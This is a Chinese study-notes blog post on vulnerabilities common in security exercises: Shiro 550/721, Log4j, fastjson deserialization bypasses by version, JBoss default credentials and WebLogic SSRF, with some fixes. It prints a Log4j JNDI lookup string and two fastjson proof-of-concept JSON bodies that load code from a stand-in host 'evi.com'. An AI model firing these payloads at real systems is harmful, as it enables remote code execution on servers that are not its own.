首页 > 其他分享 >5.9-15护网常考漏洞

5.9-15护网常考漏洞

时间:2024-05-15 23:53:02浏览次数:36  
标签:15 remember 1.2 常考 漏洞 版本 5.9 序列化 com

1、中间件漏洞

态势感知(SA):situation awareness

2、常见软件服务漏洞

shiro550和721漏洞区别;

java框架,4a认证,认证授权会话加密。

登录后有个remember me选项,记住会话,验证时先看remember me 选项是否勾选 ;若勾选,将用户身份序列化,再AES加密,之后base64编码;
之后将处理好的内容,放入cookie的remember字段,此时客户端发送请求,带着cookie,对其中remember字段进行解码解密反序列化,获取身份;

shiro550(CVE-2016-4437)

版本Apache Shiro < 1.2.4,vulhub中 CVE-2016-4437;
抓包登录过程中,登录就会有set-cookie,失败cookie会加remember=deleteme;成功则会返回AES+base64后的数据

不管成功失败,回显remember,直接利用漏洞验证工具

shiro721(CVE-2019-12422)

版本Apache Shiro < 1.2.4;
秘钥不再写死,不知密钥的前提下构造序列化的数据;

原理: shiro提供加解密,利用解密器;利用shiro分组解密提供的密文,解密后对明文填充,计算中间值,得到明文值,再进而篡改序列化数据;

3、log4j漏洞讲解(CVE-2021-44228)

版本<2.14.0前;look up功能注入,在log4j配置文件任意位置添加值的方法,存在jndi,在日志输出是未对其内容过滤,造成jndi协议加载远程恶意代码;实现远程代码执行(RCE)

${jndi:rmi://xxxx:1009/evil}; 

攻击者定义一个接口,携带lookup支持表达式请求服务器操作,log4j打印请求信息,之后执行jndi操作;

修复:升级版本到2.17以上,禁止jndi加载远程资源;

4、fastjosn漏洞

java语言中的json库;用于json和java对象转换;

1.2.24及以下 主要是因为,没有对序列化的类做校验,导致漏洞产生;

1.2.25-1.2.41增加了黑名单限制,更改`autoType`默认为关闭选项,加入了checkAutotype,部分未过滤L;。

1.2.42版本是对1.2.41及以下版本的黑名单绕过(双写LL;;),代码内更新字符串黑名单为hash方式

1.2.43版本是对1.2.42及以下版本的黑名单绕过

1.2.44-1.2.45版本1.2.43版本黑名单无法绕过,寻找新的利用链进行利用

1.2.47版本 利用`fastjson`处理`Class`类时的操作,将恶意类加载到缓存中,实现攻击

1.2.62-1.2.67版本 `Class`不会再往缓存中加载恶意类,寻找新的利用链进行突破

1.2.68版本,使用期望类`AutoCloseable`来绕过`fastjson`校验

1.2.72-1.2.80使用期望类Throwable的子类,进行饶过

判断:

  • 模拟post传参,json数据尝试
  • 报错:com.ailibaba.fastjson.JSON

<1.2.24版本 poc:

{
"b":{
	"@type":"com.sun.rowset.JdbcRowSetlmpl", 读取被加载错误类型,未过滤type类
"dataSourceName":"rmi://evi.com:9999/dnslog", 一个机器执行另一台机器的命令
"autoCommit":true
}
}

1.2.47版本 poc:

{
"a":{
"@type":"java.lang.Class", 读取被加载错误类型
"val":"com.sun.rowset.JdbcRowsSetlmpl"
},

"b":{
"@type":"com.sun.rowset.JdbcRowSetlmpl", 读取被加载错误类型
"dataSourceName":"rmi://evi.com:9999/dnslog", 一个机器执行另一台机器的命令
"autoCommit":true
}
}

5、jboss弱口令

web服务器,管理路径jmx-console/和/web-console默认弱口令admin/vulhub;版本 <4.x,

5.x和6.x路径为/jmx-console/和/admin-console/,默认密码存储:jboss/server/default/conf/props/jmx-console-users.properties

6、weblogic

基于javaee的中间件;

ssrf,版本10.0.2-10.3.6 探测内网服务,进行攻击redis、fastcgi等,ssrf反弹shell,反向链接

修复:升级版本补丁;限制/删除uddiexplorer应用只能内网访问;讲将SearchPublicRegistries.jsp直接删除

文件上传;
访问/ws_utc/config.do(未授权访问)

标签:15,remember,1.2,常考,漏洞,版本,5.9,序列化,com
From: https://www.cnblogs.com/lusang/p/18195062

相关文章

  • 5.15
    在网上找了一个jetpackcompose的日期时间选择器但是还不知到怎么将里面的时间提取出来```@Preview@ComposablefunDataTimePicker(viewModel:TimeViewModel=viewModel(factory=TimeViewModelProvider.Factory),date:Date=Date()){valitemHeight=5......
  • 5.15
    packagecom.example.yibaifen.Bean;importjava.sql.Connection;importjava.sql.DriverManager;importjava.sql.PreparedStatement;importjava.sql.ResultSet;importjava.sql.SQLException;importjava.sql.Statement;publicclassMysql{publicstaticConnection......
  • 代码随想录算法训练营第第八天 | 344.反转字符串 、541. 反转字符串II、卡码网:54.替
    344.反转字符串建议:本题是字符串基础题目,就是考察reverse函数的实现,同时也明确一下平时刷题什么时候用库函数,什么时候不用库函数题目链接/文章讲解/视频讲解:https://programmercarl.com/0344.反转字符串.html/***@param{character[]}s*@return{void}Donotret......
  • 2024年5月15日第四十九篇
    今天学习了python的图形化界面的写法和matlab的语法,团队作业又进行了一次优化,基本完成了个人任务。importsysfromPyQt5.QtWidgetsimportQApplication,QWidget,QVBoxLayout,QPushButton,QCalendarWidget,QTextBrowser,QDialog,QLabel,QLineEdit,QMessageBoxfromP......
  • 5.15
    js事件学习<!DOCTYPEhtml><htmllang="en"><head><metacharset="UTF-8"><title>js-常见事件</title><style>table{margin:0pxauto;}</style></head>&l......
  • 安捷伦34401A原理图研究 24年-5-15
    1.原理图分为9页,如下第6页的主控使用80C192,是INTEL早期出的16位单片机,外接的256KEPROM,32KSRAM。第7页有个单片机87C51,是51单片机,主要是用来GPIB和RS232通信用第9页也有个单片机87C51,是51单片机,所以据我所知一共3个单片机。 2.ASIC定制芯片不熟悉,看不懂什么意思,......
  • 2024-05-15:用go语言,考虑一个整数 k 和一个整数 x。 对于一个数字 num, 在其二进制表示
    2024-05-15:用go语言,考虑一个整数k和一个整数x。对于一个数字num,在其二进制表示中,从最低有效位开始,我们计算在x,2x,3x等位置处设定位的数量来确定其价值。举例说明,若对于x=1,num=13,则二进制表示为000001101,对应的价值为3。又如,当x=2,num=13,二进制表示依然为000001101,但对......
  • 基于UltraScale架构的XCVU3P-3FFVC1517E XCVU3P-2FFVC1517I XCVU3P-1FFVC1517E高性能
    概述VirtexUltraScale+器件是基于14nm/16nmFinFET节点的高性能FPGA,支持3DIC技术和多种计算密集型应用。AMD第三代3DIC使用堆叠硅片互联(SSI)技术打破了摩尔定律的限制,并且实现了最高信号处理和串行I/O带宽,以满足最严格的设计要求。它还提供了一个虚拟的单片设......
  • 5.15
    python实验报告三(一)、设计实现电子算盘,并完成测试【题目描述】给小朋友设计一个电子算盘。要求绘制电子算盘界面,设计并实现打珠算过程(界面参考如下图示)。界面右侧要求以图形绘制的方式绘制自画像,注意不能是图像文件显示的形式。 【源代码程序】fromtkinterimport*def......
  • pg升级(pg14-pg15)主从环境
    环境:OS:Centos7旧版本的db:pg14新版本的db:pg15升级策略:必须先升级主库,然后重做从库 1.查看主库安装的插件-bash-4.2$psql-hlocalhost-Upostgres-p5432psql(14.11)Type"help"forhelp.postgres=#\dx......